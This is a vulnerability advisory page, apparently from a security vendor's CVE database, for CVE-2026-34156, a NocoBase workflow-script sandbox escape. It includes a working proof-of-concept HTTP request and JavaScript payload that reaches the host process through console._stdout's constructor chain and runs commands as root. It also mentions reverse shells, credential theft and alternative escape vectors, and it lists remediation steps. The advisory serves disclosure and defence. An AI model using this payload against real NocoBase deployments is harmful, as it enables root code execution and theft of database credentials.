Wiz Agents & Workflows are here

CVE-2026-34156
JavaScript vulnerability analysis and mitigation

## Summary NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.

Exploit Chain

  1. console._stdout.constructor.constructor → host-realm Function constructor
  2. Function('return process')() → Node.js process object
  3. process.mainModule.require('child_process') → unrestricted module loading
  4. child_process.execSync('id') → RCE as rootThis completely bypasses the customRequire allowlist.

Impact

  • Remote Code Execution as root (uid=0) inside Docker container
  • Database credential theft (DB_PASSWORD, INIT_ROOT_PASSWORD from process.env)
  • Arbitrary file read/write via require('fs')
  • Reverse shell confirmed
  • Outbound network access for lateral movement

Proof of Concept

HTTP Request: POST /api/flow_nodes:test Authorization: Bearer <JWT_TOKEN> Content-Type: application/json { "type": "script", "config": { "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } } Response: {"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}

Environment

  • Docker image: nocobase/nocobase:latest
  • NocoBase CLI: v2.0.26
  • Node.js: v20.20.1
  • OS: Debian GNU/Linux 12 (bookworm)

PoC

Got reverse shell Screenshot 2026-03-26 at 06 09 51 Proof of concept the root privileges Screenshot 2026-03-26 at 06 12 29 os-release demonstration Screenshot 2026-03-26 at 06 12 54 image App path Screenshot 2026-03-26 at 06 14 04

Exploit Usage:

Reverse Shell Mode tool1 Dump system information & creds tool2 Remote Command Execution Mode tool3

Remediation

  1. Replace Node.js vm module with isolated-vm for true V8 isolate separation
  2. Do not pass the host console object into the sandbox; create a clean proxy
  3. Run the application as a non-root user inside Docker
  4. Restrict /api/flow_nodes:test to admin-only roles

Alternative Escape Vectors

  • console._stderr.constructor.constructor (identical chain via stderr)
  • Error.prepareStackTrace + CallSite.getThis() (V8 CallSite API)

Reporter

Onurcan Genç — Independent Security Researcher, Bilkent University


SourceNVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-34156CRITICAL9.9
  • JavaScriptJavaScript
  • @nocobase/plugin-workflow-javascript
NoYesMar 30, 2026
CVE-2026-34363HIGH8.2
  • JavaScriptJavaScript
  • parse-server
NoYesMar 30, 2026
CVE-2026-33949HIGH8.1
  • JavaScriptJavaScript
  • @tinacms/graphql
NoYesMar 30, 2026
CVE-2026-34043MEDIUM5.9
  • JavaScriptJavaScript
  • serialize-javascript
NoYesMar 31, 2026
CVE-2026-34373MEDIUM5.3
  • JavaScriptJavaScript
  • parse-server
NoYesMar 30, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management